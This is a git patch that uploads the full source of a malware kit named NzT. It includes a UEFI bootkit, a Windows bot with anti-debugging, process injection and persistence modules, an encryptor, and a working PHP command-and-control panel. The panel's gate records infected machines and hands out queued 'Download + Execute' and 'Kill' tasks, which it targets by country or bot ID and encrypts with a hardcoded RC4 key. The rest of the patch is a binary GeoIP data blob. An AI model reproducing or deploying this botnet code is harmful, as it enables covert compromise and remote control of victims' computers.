From 8942a1b64db7a82e4f6c1ce5de7d29213233e3fd Mon Sep 17 00:00:00 2001 From: ldpreload Date: Wed, 12 Jul 2023 19:43:04 -0400 Subject: [PATCH] src upload --- panel/Panel.code-workspace | 8 + panel/bots.php | 134 + panel/commands.php | 152 + panel/gate.php | 57 + panel/inc/common.php | 18 + panel/inc/config.php | 10 + panel/inc/const.php | 21 + panel/inc/db.php | 135 + panel/inc/geoip.dat | Bin 0 -> 1242574 bytes panel/inc/geoip.php | 1882 ++ panel/inc/ui.php | 69 + panel/inc/utils.php | 237 + panel/index.php | 129 + panel/login.php | 48 + panel/logout.php | 12 + panel/private/.htaccess | 1 + panel/private/db.sql | 43 + panel/settings.php | 148 + panel/style/style.css | 210 + src/Bootkit/Common.h | 17 + src/Bootkit/DrvMain.c | 127 + src/Bootkit/DrvMain.h | 3 + src/Bootkit/EfTbl.h | 17 + src/Bootkit/EfiMain.c | 68 + src/Bootkit/EfiMain.h | 3 + src/Bootkit/ExitBootServices.c | 116 + src/Bootkit/ExitBootServices.h | 3 + src/Bootkit/Native.h | 22439 ++++++++++++++++ src/Bootkit/OslArchTransferToKernel.c | 96 + src/Bootkit/OslArchTransferToKernel.h | 11 + src/Bot/Bot.vcxproj | 213 + src/Bot/Bot.vcxproj.filters | 80 + src/Bot/Bot.vcxproj.user | 4 + src/Bot/antidebug.c | 20 + src/Bot/antidebug.h | 9 + src/Bot/command.c | 35 + src/Bot/command.h | 19 + src/Bot/globals.c | 87 + src/Bot/globals.h | 27 + src/Bot/http.c | 120 + src/Bot/http.h | 15 + src/Bot/injection.c | 177 + src/Bot/injection.h | 6 + src/Bot/install.c | 136 + src/Bot/install.h | 10 + src/Bot/nzt.c | 121 + src/Bot/report.c | 109 + src/Bot/report.h | 6 + src/Bot/shared.c | 39 + src/Encryptor/Encryptor.c | 39 + src/Encryptor/Encryptor.vcxproj | 159 + src/Encryptor/Encryptor.vcxproj.filters | 22 + src/Encryptor/Encryptor.vcxproj.user | 4 + .../Release/Encryptor.Build.CppClean.log | 8 + src/Encryptor/Release/Encryptor.log | 8 + src/Encryptor/Release/Encryptor.obj | Bin 0 -> 219887 bytes .../Release/Encryptor.tlog/CL.command.1.tlog | Bin 0 -> 752 bytes .../Release/Encryptor.tlog/CL.read.1.tlog | Bin 0 -> 32252 bytes .../Release/Encryptor.tlog/CL.write.1.tlog | Bin 0 -> 366 bytes .../Encryptor.tlog/Encryptor.lastbuildstate | 2 + .../Encryptor.tlog/Encryptor.write.1u.tlog | Bin 0 -> 350 bytes .../Encryptor.tlog/link.command.1.tlog | Bin 0 -> 1266 bytes .../Release/Encryptor.tlog/link.read.1.tlog | Bin 0 -> 3762 bytes .../Release/Encryptor.tlog/link.write.1.tlog | Bin 0 -> 354 bytes .../Encryptor.vcxproj.FileListAbsolute.txt | 0 src/Encryptor/Release/vc142.pdb | Bin 0 -> 135168 bytes src/NzT.sln | 43 + src/Shared/Shared.vcxitems | 56 + src/Shared/Shared.vcxitems.filters | 174 + src/Shared/advapi32_functions.h | 11 + src/Shared/advapi32_hash.h | 7 + src/Shared/api.c | 358 + src/Shared/api.h | 200 + src/Shared/config.c | 6 + src/Shared/config.h | 22 + src/Shared/crt.c | 501 + src/Shared/crt.h | 45 + src/Shared/crypto.c | 121 + src/Shared/crypto.h | 20 + src/Shared/debug.c | 0 src/Shared/file.c | 222 + src/Shared/file.h | 16 + src/Shared/guid.c | 79 + src/Shared/guid.h | 42 + src/Shared/hashes.h | 6 + src/Shared/hook.c | 7 + src/Shared/hook.h | 21 + src/Shared/injection.c | 181 + src/Shared/injection.h | 6 + src/Shared/kernel32_functions.h | 396 + src/Shared/kernel32_hash.h | 96 + src/Shared/ntdll.h | 566 + src/Shared/ntdll_functions.h | 237 + src/Shared/ntdll_hash.h | 45 + src/Shared/nzt.h | 34 + src/Shared/registry.c | 171 + src/Shared/registry.h | 14 + src/Shared/shell32_functions.h | 9 + src/Shared/shell32_hash.h | 7 + src/Shared/strings.h | 10 + src/Shared/user32_functions.h | 22 + src/Shared/user32_hash.h | 10 + src/Shared/utils.c | 384 + src/Shared/utils.h | 85 + src/Shared/wininet_functions.h | 72 + src/Shared/wininet_hash.h | 16 + src/Tools/Dbgview.exe | Bin 0 -> 887160 bytes 107 files changed, 32007 insertions(+) create mode 100644 panel/Panel.code-workspace create mode 100644 panel/bots.php create mode 100644 panel/commands.php create mode 100644 panel/gate.php create mode 100644 panel/inc/common.php create mode 100644 panel/inc/config.php create mode 100644 panel/inc/const.php create mode 100644 panel/inc/db.php create mode 100644 panel/inc/geoip.dat create mode 100644 panel/inc/geoip.php create mode 100644 panel/inc/ui.php create mode 100644 panel/inc/utils.php create mode 100644 panel/index.php create mode 100644 panel/login.php create mode 100644 panel/logout.php create mode 100644 panel/private/.htaccess create mode 100644 panel/private/db.sql create mode 100644 panel/settings.php create mode 100644 panel/style/style.css create mode 100644 src/Bootkit/Common.h create mode 100644 src/Bootkit/DrvMain.c create mode 100644 src/Bootkit/DrvMain.h create mode 100644 src/Bootkit/EfTbl.h create mode 100644 src/Bootkit/EfiMain.c create mode 100644 src/Bootkit/EfiMain.h create mode 100644 src/Bootkit/ExitBootServices.c create mode 100644 src/Bootkit/ExitBootServices.h create mode 100644 src/Bootkit/Native.h create mode 100644 src/Bootkit/OslArchTransferToKernel.c create mode 100644 src/Bootkit/OslArchTransferToKernel.h create mode 100644 src/Bot/Bot.vcxproj create mode 100644 src/Bot/Bot.vcxproj.filters create mode 100644 src/Bot/Bot.vcxproj.user create mode 100644 src/Bot/antidebug.c create mode 100644 src/Bot/antidebug.h create mode 100644 src/Bot/command.c create mode 100644 src/Bot/command.h create mode 100644 src/Bot/globals.c create mode 100644 src/Bot/globals.h create mode 100644 src/Bot/http.c create mode 100644 src/Bot/http.h create mode 100644 src/Bot/injection.c create mode 100644 src/Bot/injection.h create mode 100644 src/Bot/install.c create mode 100644 src/Bot/install.h create mode 100644 src/Bot/nzt.c create mode 100644 src/Bot/report.c create mode 100644 src/Bot/report.h create mode 100644 src/Bot/shared.c create mode 100644 src/Encryptor/Encryptor.c create mode 100644 src/Encryptor/Encryptor.vcxproj create mode 100644 src/Encryptor/Encryptor.vcxproj.filters create mode 100644 src/Encryptor/Encryptor.vcxproj.user create mode 100644 src/Encryptor/Release/Encryptor.Build.CppClean.log create mode 100644 src/Encryptor/Release/Encryptor.log create mode 100644 src/Encryptor/Release/Encryptor.obj create mode 100644 src/Encryptor/Release/Encryptor.tlog/CL.command.1.tlog create mode 100644 src/Encryptor/Release/Encryptor.tlog/CL.read.1.tlog create mode 100644 src/Encryptor/Release/Encryptor.tlog/CL.write.1.tlog create mode 100644 src/Encryptor/Release/Encryptor.tlog/Encryptor.lastbuildstate create mode 100644 src/Encryptor/Release/Encryptor.tlog/Encryptor.write.1u.tlog create mode 100644 src/Encryptor/Release/Encryptor.tlog/link.command.1.tlog create mode 100644 src/Encryptor/Release/Encryptor.tlog/link.read.1.tlog create mode 100644 src/Encryptor/Release/Encryptor.tlog/link.write.1.tlog create mode 100644 src/Encryptor/Release/Encryptor.vcxproj.FileListAbsolute.txt create mode 100644 src/Encryptor/Release/vc142.pdb create mode 100644 src/NzT.sln create mode 100644 src/Shared/Shared.vcxitems create mode 100644 src/Shared/Shared.vcxitems.filters create mode 100644 src/Shared/advapi32_functions.h create mode 100644 src/Shared/advapi32_hash.h create mode 100644 src/Shared/api.c create mode 100644 src/Shared/api.h create mode 100644 src/Shared/config.c create mode 100644 src/Shared/config.h create mode 100644 src/Shared/crt.c create mode 100644 src/Shared/crt.h create mode 100644 src/Shared/crypto.c create mode 100644 src/Shared/crypto.h create mode 100644 src/Shared/debug.c create mode 100644 src/Shared/file.c create mode 100644 src/Shared/file.h create mode 100644 src/Shared/guid.c create mode 100644 src/Shared/guid.h create mode 100644 src/Shared/hashes.h create mode 100644 src/Shared/hook.c create mode 100644 src/Shared/hook.h create mode 100644 src/Shared/injection.c create mode 100644 src/Shared/injection.h create mode 100644 src/Shared/kernel32_functions.h create mode 100644 src/Shared/kernel32_hash.h create mode 100644 src/Shared/ntdll.h create mode 100644 src/Shared/ntdll_functions.h create mode 100644 src/Shared/ntdll_hash.h create mode 100644 src/Shared/nzt.h create mode 100644 src/Shared/registry.c create mode 100644 src/Shared/registry.h create mode 100644 src/Shared/shell32_functions.h create mode 100644 src/Shared/shell32_hash.h create mode 100644 src/Shared/strings.h create mode 100644 src/Shared/user32_functions.h create mode 100644 src/Shared/user32_hash.h create mode 100644 src/Shared/utils.c create mode 100644 src/Shared/utils.h create mode 100644 src/Shared/wininet_functions.h create mode 100644 src/Shared/wininet_hash.h create mode 100644 src/Tools/Dbgview.exe diff --git a/panel/Panel.code-workspace b/panel/Panel.code-workspace new file mode 100644 index 0000000..876a149 --- /dev/null +++ b/panel/Panel.code-workspace @@ -0,0 +1,8 @@ +{ + "folders": [ + { + "path": "." + } + ], + "settings": {} +} \ No newline at end of file diff --git a/panel/bots.php b/panel/bots.php new file mode 100644 index 0000000..4f70f67 --- /dev/null +++ b/panel/bots.php @@ -0,0 +1,134 @@ + +
+
Search
+
+ + + + + + + + + + + +
Country:
GUID:
IPv4:
+ + + Order By + + +
+
+
+bindValue(++$i, $country, PDO::PARAM_STR); + } + if($_GET['guids'] != '') + { + foreach($guid as $uhid) + $query->bindValue(++$i, $uhid, PDO::PARAM_STR); + } + if($_GET['ips'] != '') + { + foreach($ips as $ip) + $query->bindValue(++$i, $ip, PDO::PARAM_INT); + } + } + + $query = $db->prepare('SELECT COUNT(*) FROM bots WHERE 1 = 1'.$sqlWhere); + $i = 0; + bind_values(); + $query->execute(); + $total = $query->fetchColumn(); + if($total == 0) + echo('
No bots found
'); + else + { + get_pag_vars($total, $pages, $page, $offset); + $query = $db->prepare('SELECT * FROM bots WHERE 1 = 1'.$sqlWhere.' ORDER BY '.($_GET['order'] == 1 ? 'first_seen' : 'last_seen').' + '.($_GET['dir'] == 1 ? 'ASC' : 'DESC').' LIMIT ? OFFSET ?'); + $i = 0; + bind_values(); + $query->bindValue(++$i, $CONST_PAGE_LIMIT, PDO::PARAM_INT); + $query->bindValue(++$i, $offset, PDO::PARAM_INT); + $query->execute(); +?> +
+
Bots
+ + +fetchAll(); + $geoip = new GeoIP(); + foreach($rows as $row) + { +?> + + + + + + + + + + +'); + echo_pag_form($page, $pages); + echo(''); + } +} +ui_content_end(); +ui_end(); +?> \ No newline at end of file diff --git a/panel/commands.php b/panel/commands.php new file mode 100644 index 0000000..6bca8a7 --- /dev/null +++ b/panel/commands.php @@ -0,0 +1,152 @@ +prepare('DELETE FROM commands WHERE id = ?'); + $query->bindValue(1, $_GET['delete'], PDO::PARAM_INT); + $query->execute(); + header('location: commands.php'); + exit(); +} + +if(isset($_GET['toggle'])) +{ + action_sec_check(); + $query = $db->prepare('UPDATE commands SET enabled = NOT enabled WHERE id = ?'); + $query->bindValue(1, $_GET['toggle'], PDO::PARAM_INT); + $query->execute(); + header('location: commands.php'); + exit(); +} + +if(isset($_POST['type'])) +{ + action_sec_check(); + $query = $db->prepare('INSERT INTO commands (`type`, param, created, `limit`, countries, guids, execs, enabled) + VALUES (?, ?, ?, ?, ?, ?, 0, 0)'); + $query->bindValue(1, $_POST['type'], PDO::PARAM_INT); + $query->bindValue(2, $_POST['param'], PDO::PARAM_STR); + $query->bindValue(3, time(), PDO::PARAM_INT); + $query->bindValue(4, (int) $_POST['limit'], PDO::PARAM_INT); + $query->bindValue(5, $_POST['countries'], PDO::PARAM_STR); + $query->bindValue(6, $_POST['guids'], PDO::PARAM_STR); + $query->execute(); + header('location: commands.php'); + exit(); +} + +function get_command_name($type) +{ + global + $CONST_COMMAND_DL_EXEC, + $CONST_COMMAND_KILL; + switch($type) + { + case $CONST_COMMAND_DL_EXEC: return 'Download + Execute'; + case $CONST_COMMAND_KILL: return 'Kill'; + default: return '?'; + } +} +?> +
+
Add Command
+
+ +
GUIDIPv4CountryOSUsernameLast SeenFirst SeenOptions
('.$geoip->GEOIP_COUNTRY_NAMES[$geoip->GEOIP_COUNTRY_CODE_TO_NUMBER[$row['country']]].')'); ?> + '.time_since($row['last_seen']).''); ?> + + + + + '.time_since($row['first_seen']).''); ?> + + Command +
+ + + + + + + + + + + + + + + + + + + + + +
Type: + +
Execution Limit:
Country Codes:
GUIDs:
Parameter:
+ +
+ +
+prepare($sql); +$stmt->execute(); +if($stmt->rowCount() > 0) +{ +?> +
+
Commands
+ + + + + + + + + + +fetchAll(); + foreach($rows as $row) + { + $emptyHtml = ''; + + if($row['param'] == '') + $param = $emptyHtml; + else + { + $param = htmlspecialchars(substr($row['param'], 0, 30)); + if(strlen($param) < strlen($row['param'])) + $param = ''; + } + echo(' + + + + + + + + '); + } +} +?> +
TypeCreatedCountry CodesGUIDsExecutedParameterOptions
'.get_command_name($row['type']).''.($row['countries'] == '' ? $emptyHtml : htmlspecialchars($row['countries'])).''.($row['guids'] == '' ? $emptyHtml : htmlspecialchars($row['guids'])).''.$row['execs'].' / '.($row['limit'] == 0 ? '∞' : $row['limit']).''.$param.' + + '.($row['enabled'] ? 'Disable' : 'Enable').' + + + + Delete + +
+
+ \ No newline at end of file diff --git a/panel/gate.php b/panel/gate.php new file mode 100644 index 0000000..21fbe34 --- /dev/null +++ b/panel/gate.php @@ -0,0 +1,57 @@ +prepare($sql); + $status = $stmt->execute([$data['guid']]); + + if ($stmt->rowCount() > 0) // bot exists + { + //last command + db_fetch_bot_last_command($db, $data['guid'], $last_command); + db_fetch_tasks($db, $data['guid'], $last_command); + db_update_bot($db, $data['guid'], $ipLong, $country, $last_command); + } + else // new bot + db_add_bot($db, $data['guid'], $ipLong, $data['os'], $data['arch'], $data['username']); +} +?> \ No newline at end of file diff --git a/panel/inc/common.php b/panel/inc/common.php new file mode 100644 index 0000000..cb4c366 --- /dev/null +++ b/panel/inc/common.php @@ -0,0 +1,18 @@ + \ No newline at end of file diff --git a/panel/inc/config.php b/panel/inc/config.php new file mode 100644 index 0000000..6752ec2 --- /dev/null +++ b/panel/inc/config.php @@ -0,0 +1,10 @@ + diff --git a/panel/inc/const.php b/panel/inc/const.php new file mode 100644 index 0000000..a75d778 --- /dev/null +++ b/panel/inc/const.php @@ -0,0 +1,21 @@ + \ No newline at end of file diff --git a/panel/inc/db.php b/panel/inc/db.php new file mode 100644 index 0000000..8029005 --- /dev/null +++ b/panel/inc/db.php @@ -0,0 +1,135 @@ + 'SET NAMES "utf8"')); + } + catch(PDOException $e) + { + if($message) + echo 'Can\'t connect to the database. Change settings?'; + exit(); + } +} + +function db_add_bot($db, $guid, $ip, $os, $arch, $username) +{ + $sql = "INSERT INTO bots (guid, ip, os, arch, country, username, last_seen, first_seen, last_command) VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0)"; + $stmt = $db->prepare($sql); + + $stmt->bindValue(1, $guid, PDO::PARAM_STR); + $stmt->bindValue(2, $ip, PDO::PARAM_INT); + $stmt->bindValue(3, $os, PDO::PARAM_INT); + $stmt->bindValue(4, $arch, PDO::PARAM_INT); + $stmt->bindValue(5, get_country($ip), PDO::PARAM_STR); + $stmt->bindValue(6, $username, PDO::PARAM_STR); + $stmt->bindValue(7, time(), PDO::PARAM_INT); + $stmt->bindValue(8, time(), PDO::PARAM_INT); + + $status = $stmt->execute(); +} + +function db_delete_bot($db, $guid) +{ + $sql = "DELETE FROM bots WHERE guid=?"; + $stmt = $db->prepare($sql); + $stmt->bindValue(1, $guid, PDO::PARAM_STR); + $status = $stmt->execute(); + return $status; +} + +function db_update_bot($db, $guid, $ip, $country, $last_command) +{ + $sql = "UPDATE bots SET last_seen = ?, ip = ?, country = ?, last_command = ? WHERE guid=?"; + $stmt = $db->prepare($sql); + + $stmt->bindValue(1, time(), PDO::PARAM_INT); + $stmt->bindValue(2, $ip, PDO::PARAM_INT); + $stmt->bindValue(3, $country, PDO::PARAM_STR); + $stmt->bindValue(4, $last_command, PDO::PARAM_INT); + $stmt->bindValue(5, $guid, PDO::PARAM_STR); + + $status = $stmt->execute(); +} + +function db_fetch_bot($db, $guid) +{ + $sql = "SELECT guid FROM bots WHERE guid = ?"; + $stmt = $db->prepare($sql); + $stmt->bindValue(1, $guid, PDO::PARAM_STR); + $status = $stmt->execute(); +} + +function db_fetch_bot_last_command($db, $guid, $last_command) +{ + $sql = "SELECT last_command FROM bots WHERE guid = ?"; + $stmt = $db->prepare($sql); + + $stmt->bindValue(1, $guid, PDO::PARAM_STR); + + $status = $stmt->execute(); + if ($stmt->rowCount() === 0) + { + echo '0'; + exit(); + } + + $last_command = $stmt->fetchColumn(); +} + +function db_add_task() +{ + +} + +function db_delete_task() +{ + +} + +function db_fetch_tasks($db, $guid, $last_command) +{ + $sql = "SELECT * FROM commands WHERE (execs < `limit` OR `limit` = 0) AND enabled = 1 AND (id > ? OR ? = 0)"; + $stmt = $db->prepare($sql); + + $stmt->bindValue(1, $last_command, PDO::PARAM_INT); + $stmt->bindValue(2, $last_command, PDO::PARAM_INT); + + $stmt->execute(); + + $rows = $stmt->fetchAll(); + $output = ''; + + foreach ($rows as $row) + { + if ($row['countries'] != '') + { + $countries = explode(' ', $row['countries']); + if (!in_array($country, $countries)) + continue; + } + + if ($row['guids'] != '') + { + $guids = explode(' ', $row['guids']); + if (!in_array($guid, $guids)) + continue; + } + + $sql = "UPDATE commands SET execs = execs + 1 WHERE id = ?"; + $stmt = $db->prepare($sql); + $stmt->bindValue(1, $row['id'], PDO::PARAM_INT); + $stmt->execute(); + $last_command = $row['id']; + $output .= 'COMMAND'.'|'.$row['type'].'|'.$row['param']."\r\n"; + } + + $crypt = RC4($output, "LET_ME_IN!"); + echo $output; +} +?> \ No newline at end of file diff --git a/panel/inc/geoip.dat b/panel/inc/geoip.dat new file mode 100644 index 0000000000000000000000000000000000000000..be8b031f7d11a1ff394a9840d114f12d5cae2e29 GIT binary patch literal 1242574 zcmZUc1+*Qt_x(TD#;(gN6n87`6f5p-g#rbNyBD|O?(XjH?(XjH?hg0AXHSRU`>y|5 zckQ)va&nTKBxh!lnfD4%gc6kDnk5U@E?KBR06UIjr*VW3!O636%521tzqA3V5;KpWZkn?9lH|W%<h%0F3S zuJ%~(0ejk$dl~mO%1is0>}%Z5xIY|Va-i`b<2d8N#zTyU8V@rbZj?1us^1s={?Yci z9CaKVV-Fu|i9Dl@AMb$>k#eiwKMBtA@TtKk!zpkooM!zqb33QI$Qj10BF+4>T}npI zfpe{?!BX;kxBxDMi!_b})+ul?Tmo|zn5)3@{r;t}ttNAU%V4E`|8lqju7s=L6ZjOa z){=+U;B~kbu7l^`dAJ^KfCu0~xDjrGyA&n*{hN)q8E-L4c&o|${r>H__nO?NiII_hU(J(+3;O+s;9+>i@<)u1!xQkRxpW=_RUx9^lkk+~s#@}=bDfdS zebz|{U&!SzYv6MJ5@ZdQomVV;)hOW`@Fu*k*k#FE#|`Xder8avXee1=78h(4Xcw5gz!U{K1-ce$CiDsnm``Ao&X7Dy4VbXN&;k<` znAmkqYD^o}?@wa2A-W2f+-IQ-su}uCSzxLHQx}+~z_bO16_~lebOoj_Fq8GAGlR*D zwyA=0i_B&tD591K)nMVQM$Mnu3(QfV-0yELhxPk+^!sxcn5V#E1r{$bZ-Kq~{Y49m zD4_PtXPn=-fN^+%1x=K@kjcUY7Rj>ueF<;s_cdehvgIWT4EJ(S+w@zqz*2>D%`R;e zS;l190?U~!pUYP$uwurID;rlau4-J(xVmu-{wu@0y|rBkx@Fk6xg-EZUuJFB_|XZTVRg@ds=d&ajyb< z7ud&q|6Frlll?R|`hA%?pumBa98};ilX1p_jZ!$Iz@g?UqNIL@7dT>&4OU^c)ljojW;JlolU*H1s z3yoPjFE+m<*SS>jKj)X5Tv6akldE$1)h5>zxYp#lTzy@SK~J{N3f!)%K!Jw~ zJl*d0Q%JN|uvLNQ%jKNR?}z)uB!b`}2?_{BszzZLk^KY2zK{a)aY0)H0x ztH9p{{?RDtqOY)~nAY#t`~5lk{c9a$RJLy;y7d>=zzK`yr6Mw=q?{I55*b6IdZetl zh@7C1C@0j4Ojk@jQ#Uq>G)-E@iH&Vzr%2aC%Do~3IUiy&L6He_$xxGtj7ur_n@nn) z%qRLSyaNM~C2MMS^pi_Bp8jCt-%MTVKrY@8*R&uTJTk=b*}942!b zWpkb)^A=gMm=5cF5*Aso$U?<57%t!%6$6J`c@Xuo(a0dOTJu@<(<6I#z%TY)CP^q%5Kt$MOG=YYLSCH z;a4lNdJ)C#HHvIpMAy(Yi>y^-?IPbfo^McOogyQP=rSk!^3}RU)+?sVZB&uEk5P@>x5$3xy43DpL|u@b1C0k6#~BYc9%9sbm(F44hZ~PD9%($vIHPYE z)I!~699u*)_BaoRoF-=qPq6>r&?7)Gy`4DOu0Ey6sYOn+8|8To(CJ0aC~~IDo@FP? zCo-!n**Uk!c|~rhaASq@HO*wR!ZsByEOJp1MYd;(TwF}=BCaWNtt+~u$feG@tjOg> zt|)S4k*kVat+m$gKj^k)BYt?lf0S#{CH^`$;O-*Vt2z(Ujc)&KMQ$o`a}iBEHTV`! zLQRreJ?BLY5`IoY$~&LWx{cNsV9_wOlkuPxtK|Uu6w@73q@Wm@=}pe71pota*5b-nl;)`K5?- zez4AuMSe1onx^Hi)=}|4G%mUp6#3l}MR=K#!!@#h7x|}1Tp}s)uXBqfN+tT{Qq#Uq zp_H~$KUGvV4{}MxL~`YZ=8;jAR&$+ZiCQTQ2z5(Td!v-LIkVX+(Js+(R@c}wW(ry< z6O@>+#E24$l^9xLq7pNe7*=9pt4&^F3X@4nOll&tljRns%q7#8n5x9oPEJ!|x?DbO z3AIP=Qgv#x%Fa+?#ynTTnM=%4Vu2FFOUzngwi0udnA-}o8|N%Bhsl3E5}C)6`AW=h zGH>4BY{XTICcuKuTEr;HLM0Z?d1h)+C$m;9ZoWc^B}yz=VyWEVvL%*w)-pz|5t-6& zIVYF5nk=m7$+0~LgO6->F>|SDQ&ULAh&Yn)n347=AeM;-*Ew}J| ziI>e^$R#h9c*#7QORwbeS4-oA!|Ns9u<*?i@0h%m>%47}wd!51(|-Rw4_P*RA3FE5 z5+CLIAD8&V{L@?_4}YHXFG_r=rQzh)CBDh!^0t0*$oD0FC=rwi%lug4Cq-`s?Giti z_@%_3CH``eUrYRvm;KG;ccYA`VgJqEza5|d$+I$_Yr9{hXe^Y+&qGN{Wye z8;PveDbpXjMDx#}8HW)deSFiu!zsL4cw z+B0!ET>{zanAEwG88r{5EHhP^^~#JYGj*A1$}Cc5(K6GPnXb&7R-3+zCiyI7W|hq{ zGnSdj@|lfl(l8V0WNUw{t^$^b%xYIC zJCl)lOxV%MopNhCJGqNdmUs1th>R_>N0|dG-!sqMugqR$_Re*rwojRTotyP*e{&6l zrmJ#A#+5nP!qdwfQs&Sy$CWw0%wc5?FLP{e`3RFE^WrLdRGFilJjR&W&u%%CdqSC$ z%ben@6U&@rB6+qpb#rp6C8rINpHb#aC(kN#uF2WPb8?-miu0U2-*`bjF)k`|ahXfX zTw11Bp;Y0rGMATmyUaUft|)V5nY+u}Q|2lcyv}&FQLVbB%(XesT6le#8_L{R<|fN; zEpuC$n{%C8$|(4&pnkVoc*h{0-&y7^3l;h@oqH9%%RE))zB2chdBC|3mU+lTPo`3P zxXhzYK4Q#5uH=t7`FNQpOfn}tZT@nZSIRt7=GijOSt9-C%bezVU&tjdmU+oM>)Na3 z@wW|cSooUpb)%-SEWBCfEhoh_L*6a(o@Qg2Z_2!1<^#n>=YCk`qcWf6njf2}*`Jtv zYRqc<-24lpY<}svA(CB0zAf{eyyx8S%luI0_cDJd{#)`(Ug{^4pN)!ID*kJk-<-@A z{+|xNS&e_?rT#X_BG13({W4U>kBd%xWk)f#T%l57#tJi42r7gXrf^nNA+9i?d19

9s>;8x@)r+7&vMw~R;oN+jdm3cU(LD&xbB7R7)Sl$G^j0^3n?XoZO?Ok82j z^7y;HNvt_(u0NT{@?YY2XAbkZE6iy!mr)inSI^_*yvA&z&R<~xCx;ssG|KG?2#Zu$ zw8GLAmZ>npa@kqjWHI+$m$@Z!`I06}C=|7)LF@O5!tN5<`uT6u%#Mo{jE$sFuz8d8x^*zuuoEUL?P^RV-DXsc_gA>nZM(}=%i7%)?y=c>jrSQf zZItyug$FC?wwU~>O(gaGkqVDim^@&LfX6C4UP-qi%K=YRcv9}F@MeXlG*}Aq?!wa* zp3%(I{(pt%DroOrZB~&nZuScmUaas^CEXc&-TE)PZEET(6<)3ITHb86TtYQT9UQf>x3Z2xoux&cFEO85T(13`LhDoy=HIXGv7K7k8rCJYVI zx+V&kIA9VBC$nTy^Ov;c?!gr*+DsWRPr$qZQw2;NFipU;?$PW4)0xZ~Fk8U%0W$>Y zVMU5Ko!V`%S@YHw|hfH{M7QfY$C6)?97X1=oWe5yq* zN{AB{2pAsFk5jV?1}qftQ_RnC8u}IvST11sfJK7wk#Ny~5$3w>SxlbPwLm^JS<<+a zQSzk&mN8$}C~Fd~5U^s9Mw{JbBw*#hN3j8`1gvUzZR`=z@$PB?s|TzRq;KP_XI#^` zR>0Z;>jaDpSl1FMNPkoNLAB^4VwC0U2W$|qVZi8sjdD%ps&=W3^&38#Fq;Hvgc)Pp zG+?uU&CRz6*h(G_*izHLP7~^<;=*lmp_1FVN81~BFz#sF$+&aCE+)GM>=tmkk8v{` z8?Z;fo|;+#4~9GxvUk8f0gHz$5wdTxRHxPXHL zPLtVyLjn#BI40m&S9e&z5dlXA93IecvxP@#KI{D-tr1JaWnBEYfa3#B3OG67gn+tE zeziuND=r=JQxw^B=O56sL|k(5GXl;GxG3P_fU^S54mdC1{D5;btF`~H5E?w zFqy7F0iRhSF1h$60hhYvR|H%pw4;w$pwmEc;WYu*20Ww%8*p8~^;&2F zcLv-LaAUwN0k;O+BnRsKAFTzK5?5LA+XCj&&40jxmWWF(epkTV0rzRP1l*&w(C^=? z$?sfo>4-m|z@p6`O>axYB^Q4r;L(8R0-jg=4|rT^0Z%Lb2Q00Ze>B^zDK35SXEc-h z{bvJ4St2gE_zM9q2D}pRYQReY>-GCDYbHBaTsq>fY2oO)powjXxa8t*1-u;)ha@5I z1iY)Y9Po3%djanUd=c=aJRI<0z$XEp27DB-oi_h9MQuS`cEmr^Wa#%l*O*!&F1h$u z0bd7v7w~<+HyUfje~qI7;O~Gx z0(MvA54hQy;?fuYCqSpb|7xmRA}+ajA*2{m2?;_4NR4!NP-C;I&Uu3Yh1LuLz^J!B4>S}EE6&=K6PE_Z zqIE;o3mF}Y#g#l$e55#!~cmhS!~H7#ug!4Y667p9=?35$hINdg=`;^MU}ykB#Rh3h3p)%OUSMvS@akjF|uedHe?S?r;z>C2=#XPVjtv>S#s{zE6GBc5IVt4ikily?TaVd_J1yjNc{t?UkTXKg3^^<0?2xio zV&rw#9<+|m3pqdJ!jOwX2E2|g2)WMlM>xc5YGSXQOEoAVH-_94a=EO9ToZC_$dw^i zX;FK^Oyc!5`Twq|>r|;~{NEKc%i*e?B1>F`hk5|MUA$L0KE{&SW-Nt*2 z)A^p^zL5K!91-$>NwyFk4tXTx;fO~f9u0X+gB5XL#N%qALQTZf5l@CZ74oY>U&zyn z10nCrf|hy6b0M#4SZ(n6kQYN<3VA`n&HfR-98%S7e@JYJxYnKc>mhH1ysc2Lpb@5T zWxN$K)Vbo)5r0<>*S3GiG?s`5G4< z@TmA7GPNb*l8b*E@?FS}AwPwDuP~_iuZZegap{QvtT3ziuQ+Lmxa8u$hy0;{98r(> zGvqJLpNLAt-y#2m=^Oloh<~-3`U>dG=2GG+D_)G4TigB-Gg=}pxp)wz_e)Vk91%u5 zXSpzmm`CwHVtPx&r6%5pXhuvJF*KqT(T?av3`BGycGW|A#0=IHm%jLrh?#Z%8!@jX z;*yI`6ftqcWD%1`OcF7o-=8#M9p{QmM|_Hi#pTQhJ-tdIE)<_8V%mt+B36%>PA!aB zC}Lq%t=>h<88KJHOcBE(W{sFl4TxB>-=8I7Ia?5y9r4*CR@ALg#G00fOD;aQ`W`WV z!~$w|ls>S}r|O(5E*b0?q0-~ zidbK_{Sj-qthg+QFBh?V#7Yq>N30N~PZ=vl>5Ev(6&H%HqEEaF&Mi#S|mBaV(ZCgN1x_G=d?;zXI1vNnA5 zN{{a9^>(P<6ms(Th!dm`aZ<#O{r;i-{+a#$F*?=l_b<|G{QdrUy8l;8BF>FCFXHrw zGa}B8I49!FD1Djd8sE8{CFl5oS9qiE*{=3`jORyO5OHC|MVgBJ{!D)RxD_( zA$ynXQrU^PIpUUx%OkFcxHjUth$|zminu!Bnuy2x{qJ@?GblG+!=9K#Cv``FZcT& z>3-N>NqnPFCbJRuMLZ~j5kKkW0X;S&C>#jSt{o7h$o~R z6U00j@l?cT5uZmq9q~-W8xe0tJgXQL@lwRg4qVSiyb$rC(D8q8KHr4ptw4-V`CT-#Y`JBT}&L4#7qz~VN5lq7SoRD z#MEONG0m7(%q)(jvk!`&^Eys;V|pj+rJ-gWhKS{;H09>kf)z)5pvZGk459F*C-@6f#xsHjCIGN?#Qo?f8~Ou-Rkgh?z5Hu9z(c#jYI(#ie=Gk(h;I7LJ)eW`UUDF$>1* zIw(f%H7FJ>60>N`h?vD<_8Sz77LU`AvP6uciXxJ@P<-i_WnwOfxiDtgnB`)2j~N@Y ze9Q_l8^vrKv!XVaV%CmXCuU_iA!hZMHDXqc)3~%+oW>|w6BmlF8KW?@R-EpgN+K>4 z9~rZ5%=$4K#H<&iAT}ySVNJQ>Lh%jbG?a~wQ8bf8TqwRt%$S&MW44RgRQ{C5Vz!Fe zJVrrpix|Z{X^IQQw~kR5+$KhmP!e&W`1Ub7#OxfiOU#Zj3X(g;C{8L@TqwS4oW{o8 